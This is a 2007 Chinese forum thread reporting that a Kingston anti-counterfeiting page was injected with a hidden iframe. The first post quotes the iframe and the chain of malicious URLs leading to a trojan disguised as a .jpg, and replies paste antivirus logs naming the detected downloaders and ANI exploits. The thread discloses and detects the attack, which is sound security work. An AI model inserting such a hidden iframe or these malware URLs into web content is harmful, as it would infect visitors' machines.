金士顿官方网站似乎被挂马了

显示全部楼层 · 发表于 2007-4-11 16:01:24

金士顿官方网站http://www.kingston.com/china/

在官方网站下面的关于315打假防伪的图片链接页面中：
http://www.tlyj.cn/kingston/2007315/fangwei.htm

黑客在网页下部插入了
<iframe src=http://www.ll78.cn/mm\mm.htm width=100 height=0></iframe>
这个代码

然后会打开
http://s.gcuj.com/0.htm

再下载

http://w.qbbd.com/muxiao2.jpg

估计是个木马，麻烦大家看看

[ 本帖最后由 drmctchr 于 2007-4-11 16:03 编辑 ]

显示全部楼层 · 发表于 2007-4-11 16:21:36

Time       Module       Object       Name       Threat       Action       User       Information
2007-4-11 16:21:40       IMON       file       a variant of Win32/TrojanDownloader.Ani.Gen trojan             KASPERSK-F13F4E\EQ2
2007-4-11 16:21:40       IMON       file       http://s.gcuj.com/0.htm       VBS/TrojanDownloader.Agent.E trojan       Connection terminated       KASPERSK-F13F4E\EQ2
2007-4-11 16:21:39       IMON       file       http://s.gcuj.com/0.htm       VBS/TrojanDownloader.Agent.E trojan       Connection terminated       KASPERSK-F13F4E\EQ2

显示全部楼层 · 发表于 2007-4-11 16:24:54

打包上来。。。。。

显示全部楼层 · 发表于 2007-4-11 16:28:47

ANI变种现在出来的真快。。。。。

显示全部楼层 · 发表于 2007-4-11 16:31:07

风暴胜者V2 测试版本(http://www.v0day.com)
_________您的安全是我们的责任_______________
载入病毒库…进行整理…分配内存…可以使用

===============================================
___________病毒查杀结果__________________

===============================================

2007年4月11日16时30分51秒开始查杀C:\Documents and Settings\Administrator\桌面\新建文件夹\桌面\新建文件夹
威胁性文件：C:\Documents and Settings\Administrator\桌面\新建文件夹\桌面\新建文件夹\0.exe
C:\Documents and Settings\Administrator\桌面\新建文件夹\桌面\新建文件夹\0.exe 发现未知可疑文件:Win32.Nop 9rep 操作:阻止运行
=========================================

_________文件性质分析结果________________
"带壳"仅指文件性质,仅供专业人员分析使用。

-----------------------------------------

2007年4月11日16时30分51秒收起线程…100% 查杀完毕！
扫描文件：1查杀病毒：2

显示全部楼层 · 发表于 2007-4-11 16:36:00

显示全部楼层 · 发表于 2007-4-11 17:08:01

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\桌面.rar'
C:\Documents and Settings\Administrator\桌面\桌面.rar
  [0] Archive type: RAR
  --> 0[1].htm
   [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Psyme.FM
  --> muxiao2[2].jpg
   [DETECTION] Contains signature of the exploits EXP/Ani.Gen
  --> muxiao2[1].jpg
   [DETECTION] Contains signature of the exploits EXP/Ani.Gen
   [INFO]    A backup was created as '464b3e76.qua'  ( QUARANTINE )
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-4-11 17:09:05

红伞报了3个

Starting the file scan:

Begin scan in 'C:\Documents and Settings\FEAR\My Documents\Downloads\Compressed\桌面.rar'
C:\Documents and Settings\FEAR\My Documents\Downloads\Compressed\桌面.rar
  [0] Archive type: RAR
  --> 0[1].htm
   [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Psyme.FM
  --> muxiao2[2].jpg
   [DETECTION] Contains signature of the exploits EXP/Ani.Gen
  --> muxiao2[1].jpg
   [DETECTION] Contains signature of the exploits EXP/Ani.Gen
   [INFO]    The file was moved to '464b3cfc.qua'!

End of the scan: 2007年4月11日  21:08
Used time: 00:02 min

The scan has been done completely.

   0 Scanning directories
   4 Files were scanned
   3 viruses and/or unwanted programs were found
   0 files were deleted
   0 files were repaired
   1 files were moved to quarantine
   0 files were renamed
   0 Files cannot be scanned
   1 Files not concerned
   1 Archives were scanned
   0 Warnings
   0 Notes

显示全部楼层 · 发表于 2007-4-11 18:27:19

前几天刚刚打的补丁还好卡巴报了
已检测到: 木马程序 Trojan-Downloader.VBS.Psyme.fm URL: http:/my.kafan.cn/attachment.php?aid=54043/0[1].htm

显示全部楼层 · 发表于 2007-4-11 21:00:45

McAfee 已自動封鎖並移除特洛伊病毒。

詳細資料
偵測: Exploit-MS06-014 (特洛伊病毒)
檔案路徑: C:\Documents and Settings\all.HOME-\桌面\0[1].htm

偵測: Exploit-ANIfile.c (特洛伊病毒)
檔案路徑: C:\Documents and Settings\all.HOME-\桌面\muxiao2[2].jpg+muxiao2[1].jpg

金士顿官方网站似乎被挂马了

本帖子中包含更多资源

avast!

本帖子中包含更多资源